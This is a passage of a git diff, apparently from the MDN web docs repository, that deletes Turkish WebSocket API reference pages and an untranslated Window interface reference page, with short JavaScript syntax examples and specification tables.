id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.onerror")}}</p> diff --git a/files/tr/web/api/websocket/onmessage/index.html b/files/tr/web/api/websocket/onmessage/index.html deleted file mode 100644 index 0ea1dd34c8..0000000000 --- a/files/tr/web/api/websocket/onmessage/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: WebSocket.onmessage -slug: Web/API/WebSocket/onmessage -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/onmessage ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p><strong><code>WebSocket.onmessage</code></strong> özelliği sunucu tarafından mesaj iletildiğinde çağırılan bir {{domxref("EventHandler")}}'dir. {{domxref("MessageEvent")}} ile çağırılır..</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="brush: js"><em>aWebSocket</em>.onmessage = function(event) { - console.debug("WebSocket message received:", event); -};</pre> - -<h2 id="Değer">Değer</h2> - -<p>Bir {{domxref("EventListener")}}.</p> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#handler-websocket-onmessage', 'WebSocket: onmessage')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.onmessage")}}</p> diff --git a/files/tr/web/api/websocket/onopen/index.html b/files/tr/web/api/websocket/onopen/index.html deleted file mode 100644 index 6ce9a90f75..0000000000 --- a/files/tr/web/api/websocket/onopen/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: WebSocket.onopen -slug: Web/API/WebSocket/onopen -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/onopen ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p><strong><code>WebSocket.onopen</code></strong> özelliği bağlantının {{domxref("WebSocket.readyState","readyState")}} özelliği {{domxref("WebSocket.readyState","1")}} olduğunda çağırılan bir {{domxref("EventHandler")}}'dir. Bu bağlantının veri alışverişine hazır olduğunu belirtir. {{domxref("Event")}} ile birlikte çağırılır.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="brush: js notranslate"><em>aWebSocket</em>.onopen = function(event) { - console.log("WebSocket ile bağlantı kuruldu."); -};</pre> - -<h2 id="Değer">Değer</h2> - -<p>Bir {{domxref("EventListener")}}.</p> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#handler-websocket-onopen', 'WebSocket: onopen')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.onopen")}}</p> diff --git a/files/tr/web/api/websocket/protocol/index.html b/files/tr/web/api/websocket/protocol/index.html deleted file mode 100644 index d3a466d14b..0000000000 --- a/files/tr/web/api/websocket/protocol/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: WebSocket.protocol -slug: Web/API/WebSocket/protocol -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/protocol ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p>Salt-okunur <strong><code>WebSocket.protocol</code></strong> özelliği sunucunun seçtiği alt-protokolü verir. Bu değer {{domxref("WebSocket")}} objesi oluşturulurken belirtilen <code>protocols</code> dizisidir.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="brush: js">var protocol = <em>aWebSocket</em>.protocol;</pre> - -<h2 id="Değer">Değer</h2> - -<p>Bir <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a>.</p> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-websocket-protocol', 'WebSocket: protocol')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.protocol")}}</p> diff --git a/files/tr/web/api/websocket/readystate/index.html b/files/tr/web/api/websocket/readystate/index.html deleted file mode 100644 index 1f657428d5..0000000000 --- a/files/tr/web/api/websocket/readystate/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: WebSocket.readyState -slug: Web/API/WebSocket/readyState -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/readyState ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p>Salt-okunur <strong><code>WebSocket.readyState</code></strong> özelliği {{domxref("WebSocket")}} bağlantısının durumunu verir.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="brush: js">var readyState = <em>aWebSocket</em>.readyState;</pre> - -<h2 id="Değer">Değer</h2> - -<p>Aşağıdaki herhangi bir <code>unsigned short</code> değeri:</p> - -<table class="standard-table"> - <tbody> - <tr> - <td class="header">Değer</td> - <td class="header">Durum</td> - <td class="header">Açıklama</td> - </tr> - <tr> - <td><code>0</code></td> - <td><code>CONNECTING</code></td> - <td>Soket oluşuturuldu ama henüz bağlanmadı.</td> - </tr> - <tr> - <td><code>1</code></td> - <td><code>OPEN</code></td> - <td>Bağlantı kuruldu ve iletişime hazır.</td> - </tr> - <tr> - <td><code>2</code></td> - <td><code>CLOSING</code></td> - <td>Bağlantı kapatılıyor.</td> - </tr> - <tr> - <td><code>3</code></td> - <td><code>CLOSED</code></td> - <td>Bağlantı kapatıldı ya da açılamadı.</td> - </tr> - </tbody> -</table> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-websocket-readystate', 'WebSocket: readyState')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.readyState")}}</p> diff --git a/files/tr/web/api/websocket/url/index.html b/files/tr/web/api/websocket/url/index.html deleted file mode 100644 index b824519c09..0000000000 --- a/files/tr/web/api/websocket/url/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: WebSocket.url -slug: Web/API/WebSocket/url -tags: - - API - - Web API - - WebSocket - - Özellik -translation_of: Web/API/WebSocket/url ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p>Salt-okunur <strong><code>WebSocket.url</code></strong> özelliği {{domxref("WebSocket")}} yapısının mutlak URL'sini verir.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="brush: js"><em>var url</em> = aWebSocket.url;</pre> - -<p> </p> - -<h2 id="Değer">Değer</h2> - -<p>Bir <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a>.</p> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-websocket-url', 'WebSocket: url')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>İlk tanım</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.url")}}</p> diff --git a/files/tr/web/api/websocket/websocket/index.html b/files/tr/web/api/websocket/websocket/index.html deleted file mode 100644 index f609e96743..0000000000 --- a/files/tr/web/api/websocket/websocket/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: WebSocket() -slug: Web/API/WebSocket/WebSocket -tags: - - API - - Web API - - WebSocket - - Yapı -translation_of: Web/API/WebSocket/WebSocket ---- -<p>{{APIRef("Web Sockets API")}}</p> - -<p><code><strong>WebSocket()</strong></code> yapısı bir {{domxref("WebSocket")}} objesi verir.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox">var <em>aWebSocket</em> = new WebSocket(<em>uri</em> [, protocols]);</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>url</code></dt> - <dd>Bağlanılacak sunucunun URL'si.</dd> - <dt><code>protocols</code> {{optional_inline}}</dt> - <dd>Tek bir protokol dizisi ya da protokol dizilerinin bulunduğu bir küme. Bu diziler alt-protokol olarak belirtilmek amacıyla kullanılır, yani tek bir sunucu çoklu alt-protokoller uygulayabilir (örnek olarak bir sunucunun başka türlü etkileşimleri belirli protokola bağlı olarak idare edebilmek isteyebilirsiniz.). Eğer bir <code>protokol</code> dizisi belirtmediyseniz boş bir dizi kullanılır.</dd> -</dl> - -<h3 id="Olağandışı_durumlar">Olağandışı durumlar</h3> - -<dl> - <dt><code>SECURITY_ERR</code></dt> - <dd>Bağlanılmaya çalışılan port engellenmiş.</dd> -</dl> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - - - -<p>{{Compat("api.WebSocket.WebSocket")}}</p> diff --git a/files/tr/web/api/window/index.html b/files/tr/web/api/window/index.html deleted file mode 100644 index 078b27a9ad..0000000000 --- a/files/tr/web/api/window/index.html +++ /dev/null @@ -1,462 +0,0 @@ ---- -title: Window -slug: Web/API/Window -tags: - - API - - DOM - - Interface - - JavaScript - - NeedsTranslation - - Reference - - TopicStub - - Window -translation_of: Web/API/Window ---- -<p>{{APIRef}}</p> - -<p><span class="seoSummary">The <code>window</code> object represents a window containing a DOM document; the <code>document</code> property points to the <a href="/en-US/docs/DOM/document">DOM document</a> loaded in that window.</span> A window for a given document can be obtained using the {{Domxref("document.defaultView")}} property.</p> - -<p>This section provides a brief reference for all of the methods, properties, and events available through the DOM <code>window</code> object. The <code>window</code> object implements the <code>Window</code> interface, which in turn inherits from the <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code> interface. Some additional global functions, namespaces, objects, interfaces, and constructors, not typically associated with the window, but available on it, are listed in the <a href="/en-US/docs/JavaScript/Reference">JavaScript Reference</a> and <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Reference</a>.</p> - -<p>In a tabbed browser, such as Firefox, each tab contains its own <code>window</code> object (and if you're writing an extension, the browser window itself is a separate window too - see <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Working with windows in chrome code</a> for more information). That is, the <code>window</code> object is not shared between tabs in the same window. Some methods, namely {{Domxref("window.resizeTo")}} and {{Domxref("window.resizeBy")}} apply to the whole window and not to the specific tab the <code>window</code> object belongs to. Generally, anything that can't reasonably pertain to a tab pertains to the window instead.</p> - -<p>{{InheritanceDiagram}}</p> - -<h2 id="Properties">Properties</h2> - -<p><em>This interface inherits properties from the {{domxref("EventTarget")}} interface and implements properties from the {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p> - -<p>Note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below.</p> - -<dl> - <dt>{{domxref("Window.applicationCache")}} {{readOnlyInline}} {{gecko_minversion_inline("1.9")}}</dt> - <dd>An {{domxref("OfflineResourceList")}} object providing access to the offline resources for the window.</dd> - <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt> - <dd>This property indicates whether the current window is closed or not.</dd> - <dt>{{domxref("Window.Components")}} {{Non-standard_inline}}</dt> - <dd>The entry point to many <a href="/en-US/docs/XPCOM">XPCOM</a> features. Some properties, e.g. <a href="/en-US/docs/Components.classes">classes</a>, are only available to sufficiently privileged code. <strong>Web code should not use this property.</strong></dd> - <dt>{{domxref("Window.console")}} {{ReadOnlyInline}}</dt> - <dd>Returns a reference to the console object which provides access to the browser's debugging console.</dd> - <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt> - <dd>Returns a reference to the content element in the current window. The obsolete variant with underscore is no longer available from Web content.</dd> - <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> - <dd>Returns the XUL controller objects for the current chrome window.</dd> - <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt> - <dd>Returns the browser crypto object.</dd> - <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt> - <dd>Gets/sets the status bar text for the given window.</dd> - <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt> - <dd>Returns the ratio between physical pixels and device independent pixels in the current display.</dd> - <dt>{{domxref("Window.dialogArguments")}} {{ReadOnlyInline}}</dt> - <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd> - <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt> - <dd>Synonym of {{domxref("window.personalbar")}}</dd> - <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt> - <dd>Returns a reference to the document that the window contains.</dd> - <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt> - <dd>Returns the element in which the window is embedded, or null if the window is not embedded.</dd> - <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt> - <dd>Returns an array of the subframes in the current window.</dd> - <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt> - <dd>This property indicates whether the window is displayed in full screen or not.</dd> - <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt> - <dd>Unsupported since Gecko 13 (Firefox 13). Use {{domxref("Window.localStorage")}} instead.<br> - Was: Multiple storage objects that are used for storing data across multiple pages.</dd> - <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt> - <dd>Returns a reference to the history object.</dd> - <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt> - <dd>Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.</dd> - <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt> - <dd>Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.</dd> - <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt> - <dd>Indicates whether a context is capable of using features that require secure contexts.</dd> - <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt> - <dd>Returns the number of frames in the window. See also {{domxref("window.frames")}}.</dd> - <dt>{{domxref("Window.location")}}</dt> - <dd>Gets/sets the location, or current URL, of the window object.</dd> - <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt> - <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd> - <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt> - <dd>Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.</dd> - <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt> - <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd> - <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>Returns the <a href="/en-US/docs/The_message_manager">message manager</a> object for this window.</dd> - <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}}</dt> - <dd>The time in milliseconds since epoch at which the current animation cycle began.</dd> - <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt> - <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd> - <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt> - <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd> - <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd> - <dt>{{domxref("Window.name")}}</dt> - <dd>Gets/sets the name of the window.</dd> - <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt> - <dd>Returns a reference to the navigator object.</dd> - <dt>{{domxref("Window.opener")}}</dt> - <dd>Returns a reference to the window that opened this current window.</dd> - <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt> - <dd>Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.</dd> - <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt> - <dd>Gets the height of the outside of the browser window.</dd> - <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt> - <dd>Gets the width of the outside of the browser window.</dd> - <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt> - <dd>An alias for {{domxref("window.scrollX")}}.</dd> - <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt> - <dd>An alias for {{domxref("window.scrollY")}}</dd> - <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt> - <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd> - <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt> - <dd>Returns a reference to the parent of the current window or subframe.</dd> - <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt> - <dd>Provides a hosting area for <a href="/en-US/docs/Navigation_timing">performance related</a> attributes.</dd> - <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt> - <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd> - <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt> - <dd>Formerly provided access to install and remove PKCS11 modules.</dd> - <dt>{{domxref("Window.returnValue")}}</dt> - <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd> - <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt> - <dd>Returns a reference to the screen object associated with the window.</dd> - - <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt> - <dd>Returns the horizontal distance of the left border of the user's browser from the left side of the screen.</dd> - <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt> - <dd>Returns the vertical distance of the top border of the user's browser from the top side of the screen.</dd> - <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt> - <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd> - <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> - <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd> - <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> - <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd> - <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt> - <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd> - <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt> - <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd> - <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt> - <dd>Returns an object reference to the window object itself.</dd> - <dt>{{domxref("Window.sessionStorage")}}</dt> - <dd>Returns a storage object for storing data within a single page session.</dd> - <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt> - <dd>Returns a reference to the window object of the sidebar.</dd> - <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt> - <dd>Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> speech synthesis functionality.</dd> - <dt>{{domxref("Window.status")}}</dt> - <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd> - <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt> - <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd> - <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt> - <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd> - <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt> - <dd>Returns a reference to the topmost window in the window hierarchy. This property is read only.</dd> - <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt> - <dd>Returns a reference to the current window.</dd> - <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt> - <dd>Returns a reference to the <code>window</code> object in the frames. See {{domxref("Window.frames")}} for more details.</dd> -</dl> - -<h3 id="Properties_implemented_from_elsewhere">Properties implemented from elsewhere</h3> - -<dl> - <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt> - <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt> - <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt> - <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt> - <dd>Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("EventTarget")}}.</em></p> - -<dl> - <dt>{{domxref("Window.alert()")}}</dt> - <dd>Displays an alert dialog.</dd> - - <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> - <dd>Moves back one in the window history.</dd> - <dt>{{domxref("Window.blur()")}}</dt> - <dd>Sets focus away from the window.</dd> - <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt> - <dd>Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.</dd> - <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt> - <dd>Registers the window to capture all events of the specified type.</dd> - <dt>{{domxref("Window.clearImmediate()")}}</dt> - <dd>Cancels the repeated execution set using <code>setImmediate</code>.</dd> - <dt>{{domxref("Window.close()")}}</dt> - <dd>Closes the current window.</dd> - <dt>{{domxref("Window.confirm()")}}</dt> - <dd>Displays a dialog with a message that the user needs to respond to.</dd> - <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.dispatchEvent()")}}</dt> - <dd>Used to trigger an event.</dd> - <dt>{{domxref("Window.dump()")}}</dt> - <dd>Writes a message to the console.</dd> - <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.find()")}}</dt> - <dd>Searches for a given string in a window.</dd> - <dt>{{domxref("Window.focus()")}}</dt> - <dd>Sets focus on the current window.</dd> - <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> - <dd>Moves the window one document forward in the history.</dd> - <dt>{{domxref("Window.getAttention()")}}</dt> - <dd>Flashes the application icon.</dd> - <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.getComputedStyle()")}}</dt> - <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd> - <dt>{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}</dt> - <dd>Gets default computed style for the specified element, ignoring author stylesheets.</dd> - <dt>{{domxref("Window.getSelection()")}}</dt> - <dd>Returns the selection object representing the selected item(s).</dd> - <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> - <dd>Returns the browser to the home page.</dd> - <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt> - <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd> - <dt>{{domxref("Window.maximize()")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt> - <dd>Minimizes the window.</dd> - <dt>{{domxref("Window.moveBy()")}}</dt> - <dd>Moves the current window by a specified amount.</dd> - <dt>{{domxref("Window.moveTo()")}}</dt> - <dd>Moves the window to the specified coordinates.</dd> - <dt>{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt> - <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame. This will cause a <code>MozBeforePaint</code> event to fire before that repaint occurs.</dd> - <dt>{{domxref("Window.open()")}}</dt> - <dd>Opens a new window.</dd> - <dt>{{domxref("Window.openDialog()")}}</dt> - <dd>Opens a new dialog window.</dd> - <dt>{{domxref("Window.postMessage()")}}</dt> - <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd> - <dt>{{domxref("Window.print()")}}</dt> - <dd>Opens the Print Dialog to print the current document.</dd> - <dt>{{domxref("Window.prompt()")}}</dt> - <dd>Returns the text entered by the user in a prompt dialog.</dd> - <dt>{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}</dt> - <dd>Releases the window from trapping events of a specific type.</dd> - <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt> - <dd>Enables the scheduling of tasks during a browser's idle periods.</dd> - <dt>{{domxref("Window.resizeBy()")}}</dt> - <dd>Resizes the current window by a certain amount.</dd> - <dt>{{domxref("Window.resizeTo()")}}</dt> - <dd>Dynamically resizes window.</dd> - <dt>{{domxref("Window.restore()")}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt> - <dd>{{todo("NeedsContents")}}</dd> - <dt>{{domxref("Window.scroll()")}}</dt> - <dd>Scrolls the window to a particular place in the document.</dd> - <dt>{{domxref("Window.scrollBy()")}}</dt> - <dd>Scrolls the document in the window by the given amount.</dd> - <dt>{{domxref("Window.scrollByLines()")}}</dt> - <dd>Scrolls the document by the given number of lines.</dd> - <dt>{{domxref("Window.scrollByPages()")}}</dt> - <dd>Scrolls the current document by the specified number of pages.</dd> - <dt>{{domxref("Window.scrollTo()")}}</dt> - <dd>Scrolls to a particular set of coordinates in the document.</dd> - <dt>{{domxref("Window.setCursor()")}}</dt> - <dd>Changes the cursor for the current window</dd> - <dt>{{domxref("Window.setImmediate()")}}</dt> - <dd>Executes a function after the browser has finished other heavy tasks</dd> - <dt>{{domxref("Window.setResizable()")}}</dt> - <dd>Toggles a user's ability to resize a window.</dd> - <dt>{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}</dt> - <dd>Displays a modal dialog.</dd> - <dt>{{domxref("Window.sizeToContent()")}}</dt> - <dd>Sizes the window according to its content.</dd> - <dt>{{domxref("Window.stop()")}}</dt> - <dd>This method stops window loading.</dd> - <dt>{{domxref("Window.updateCommands()")}}</dt> - <dd>Updates the state of commands of the current chrome window (UI).</dd> -</dl> - -<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3> - -<dl> - <dt>{{domxref("EventTarget.addEventListener()")}}</dt> - <dd>Register an event handler to a specific event type on the window.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt> - <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt> - <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt> - <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd> - <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt> - <dd>Cancels the delayed execution set using 